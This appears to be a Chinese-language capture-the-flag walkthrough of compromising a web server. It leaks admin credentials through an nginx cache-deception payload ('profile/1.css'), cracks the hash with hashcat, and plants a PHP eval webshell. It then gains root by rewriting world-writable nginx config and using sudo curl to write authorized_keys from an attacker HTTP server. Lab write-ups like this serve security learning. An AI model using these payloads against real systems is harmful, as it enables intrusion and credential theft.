主机发现后先扫一下端口
只有一个80端口,接着扫目录
发现有.git,直接githack下来
会发现有一个swp状态的文件
先vim -r .test.php.swp
恢复一下,然后复制保存,把所有clone下来的东西拖到vscode里开始审计
先来看看nginx和apache,因为一般会起两个服务并且题目只提供一个端口应该是有前后关系
nginx.conf里可以看到用户为www-data,启用了proxy_cache,也就是会把访问的内容缓存。但缓存了什么以及如何触发缓存还不知,继续往下看
引用了ctf.conf
可以看到80端口做了哪些路由。访问index.php和一些静态文件后缀的路径都会被跳到127.0.0.1:8080
,并且配置文件里没有提到是nginx起的php-fpm,再结合有个apache,因此推测内部拓补大概就长这样
并且可以发现,nginx会将你访问的静态文件缓存下来,这样这里的nginx就起到了一个类似CDN的作用。那么接下来就开始审php
在index.php可以归结出3种路由
第一种是visit
可以看到这个路径主要作用是去访问test.php,这个放到一会儿再看。
第二种是login,这个没什么好说,就是判断是否正确登陆,成功后跳转到一个叫sh3ll.php的地方
第三种是其他路径,也就是除了上面两种路径以外的路径。不过这里面又分了两种小路由,并且想要触发这两个路由都需要在通过验证的情况下才可以进入
一种是路径中带profile字样,就给你放回你当前来访问这个路由的用户的账号信息,包括密码
第二种是直接去访问路径里的其他文件
接下来看一下test.php。日志的文件名被写死,基本不可能利用写入恶意代码的方式。
接下去是调用bot_runner函数,这个函数在调用上面的login_and_get_cookie函数去获取admin的cookie后,允许你携带管理员的cookie去访问你给的uri。
我们可以发现,虽然bot_runner函数会帮我们访问没错,但是并不会携带访问结果,也就是你看不到respones,所以要想办法把结果带出来。这个时候就要用到nginx里的缓存功能,设想一下,如果我们能将respones保存在一个静态文件里,不就可以看了吗?
所以我们可以构造这样一个payload
uri=profile/1.css
可以设想一下,当管理员访问了profile后,php会返回密码,而nginx则会认为profile/1
是一个css文件的文件名从而将页面内容缓存下来,这样只要我们访问profile/1.css
就能得到结果
拿到密码后发现直接用这串密码是sha256加密过的,需要爆破
把密码存进hash文件里,直接上rockyou
hashcat -m 1400 -a 0 hash rockyou.txt
得到明文starbucks
登陆后看到可以执行命令
直接写一句马上蚁剑
echo -n '<?php eval($_POST[1]);?>' > 1.php
在/var/www看到一个文件pass
翻译过来就是用户密码就是前面我们拿到的那个登录密码,尝试直接su会发现没有权限,所以应该是有别的方法。在/opt/hello下发现一个readme
翻译过来就是nginx会随着机器的重启而重启,下面附了一个建议,建议我们先在本地测试好nginx配置以免因配置错误导致服务崩溃
并在home下发现用户名
先看一下sudo -l,发现可以reboot
并且发现ssh服务,但是监听的是127,所以要想办法把这个端口映射出去
那就到nginx配置目录下看看
发现权限是777,那就说明可以随便改,并且在modules下发现有stream模块(这是一个用来分流tcp和udp的模块),就可以写一个stream块,对22进行反向代理
并且记得将这句注释,否则会因为http块占用80端口导致冲突
写完后reboot,等待nginx配置生效。然后再对80端口进行ssh即可
发现curl有sudo权限,尝试是否能访问外部ip后发现能直接访问,那就在kali起一个http服务后直接写authorized_keys